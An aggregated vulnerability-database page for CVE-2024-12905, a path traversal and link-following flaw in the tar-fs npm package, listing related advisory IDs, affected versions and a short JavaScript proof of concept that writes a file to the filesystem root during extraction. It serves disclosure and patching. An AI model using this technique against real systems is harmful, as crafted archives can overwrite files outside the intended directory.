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bdu:2025-14106

certfr-2025-avi-0512 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…

certfr-2025-avi-0512

EUVD-2026-257717

fkie_cve-2024-12905

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.

This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.8.

GHSA-pq67-2wwv-3xjx — tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File

Affected: npm: tar-fs

This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.

### PoC ```javascript // Create a writable stream to extract the tar content const extractStream = tarfs.extract('/', { // We can ignore the file type checks to allow the extraction of the malicious file ignore: (name) => false, });

// Create a tar stream const tarStream = tarfs.pack().on('error', (err) => { throw err; });

// Append the malicious entry to the tar stream tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));

// Finalize the tar stream tarStream.finalize();

// Pipe the tar stream into the extract stream tarStream.pipe(extractStream); ```

msrc_CVE-2024-12905 — An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted…

msrc_CVE-2024-12905

RHSA-2025:3932 — Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.20.0 release

tar-fs: link following and path traversal via maliciously crafted tar file golang.org/x/oauth2/jws: Unexpected memory consumption during token parsing in golang.org/x/oauth2/jws golang.org/x/crypto/ssh: Denial of Service in the Key Exchange of golang.org/x/crypto/ssh

UBUNTU-CVE-2024-12905

Affected: Ubuntu:Pro:22.04:LTS: node-tar-fs, Ubuntu:Pro:24.04:LTS: node-tar-fs